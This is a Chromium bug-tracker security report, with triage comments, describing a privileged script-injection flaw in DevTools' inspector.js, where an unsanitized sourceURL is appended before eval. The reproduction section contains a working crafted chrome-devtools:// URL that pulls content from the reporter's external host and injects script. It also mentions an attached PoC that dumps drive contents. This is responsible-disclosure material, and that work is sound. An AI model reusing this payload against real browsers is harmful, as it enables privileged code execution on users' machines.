New issue
Advanced search Search tips

Issue 621567 link

Starred by 1 user

Issue metadata

Status: Duplicate
Merged: issue 619414
Owner:
Closed: Jun 2016
Components:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: Devtools Potential Arbitary Script Injection

Reported by gregory....@gmail.com, Jun 20 2016

Issue description

VULNERABILITY DETAILS
There is a *potential* arbitrary privilege script injection point in DevTools' inspector.js when it fetches the remote script code [as part of remoteBase param), and appends the script's URL as sourceURL at the end of the script's code.

This can be exploited only under rare special circumstances. 

Vulnerable Function:
function evaluateScript(sourceURL, scriptSource) {
  ..
  self.eval(scriptSource + "\n//# sourceURL=" + sourceURL); <-- sourceURL needs to be sanitized
}

Under normal circumstances, when chrome-devtools://devtools/bundled/inspector.html?remoteFrontend=true&remoteBase=[URL in https://chrome-devtools-frontend.appspot.com/] is accessed, it fetches "https://chrome-devtools-frontend.appspot.com/.../screencast_module.js". This URL is appended as comment to the source-code of remotely fetched screencast_module.js as "//# sourceURL=<URL>".

An attacker can control the full URI path (not the hostname) from where the remote "script" content is fetched by specifying the full URL as remoteBase followed by '?' to nullify the effect of DevTools appending screencast_module.js. Depending on the content that is fetched remotely, the newline sourceURL comment can be broken out of, if its made to be part of a multi-line comment. So, this gives an opportunity for the attacker to inject arbitrary script code by forcefully terminating the multiline comment, followed by malicious code.

VERSION
Chrome Version: 51.0.2704.103 m stable
Operating System: All

REPRODUCTION CASE
[ https://grpdmp.tk is currently using a self signed cert; so explicitly allow exception by visiting the URL first, before trying the below steps ]
Copy paste the following URL to Omnibar:
chrome-devtools://devtools/bundled/inspector.html?remoteFrontend=true&remoteBase=https://chrome-devtools-frontend.appspot.com/../grpdmp.tk/gchrome1/benign.txt?*/alert(document.domain);screencast_module={};screencast_module.js=0;dummy1=
( you should observe an alert that says "devtools" ).

For a PoC that dumps out the C-Drive contents (in Windows), please copy paste the URI in attached file(Devtools-Crafted-URI3.txt) into Omnibar.

I've made use of a benign text file that contains "/*" @ https://grpdmp.tk/gchrome1/benign.txt to demonstrate this possibility. 
Also, made use of  Issue 619414  in this PoC, since I couldn't locate a sample file on https://chrome-devtools-frontend.appspot.com/ domain that satisfies this criteria. 

 
Devtools-Crafted-URI3.txt
1.4 KB View Download

Comment 1 by est...@chromium.org, Jun 21 2016

Components: Platform>DevTools
Labels: Security_Severity-Medium Security_Impact-Stable
Owner: dgozman@chromium.org
Status: Assigned (was: Unconfirmed)
dgozman, could you please take a look?

I'm tentatively marking as low severity because IIUC the victim would have to have an extension installed or explicitly navigate to the chrome-devtools:// URL.

Comment 2 by est...@chromium.org, Jun 21 2016

Labels: M-53
I believe fix for  Issue 619414  should address this one.
Project Member

Comment 4 by sheriffbot@chromium.org, Jun 21 2016

Labels: Pri-1
Mergedinto: 619414
Status: Duplicate (was: Assigned)
Labels: allpublic
Project Member

Comment 7 by sheriffbot@chromium.org, Oct 6 2016

Labels: -Restrict-View-SecurityTeam
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment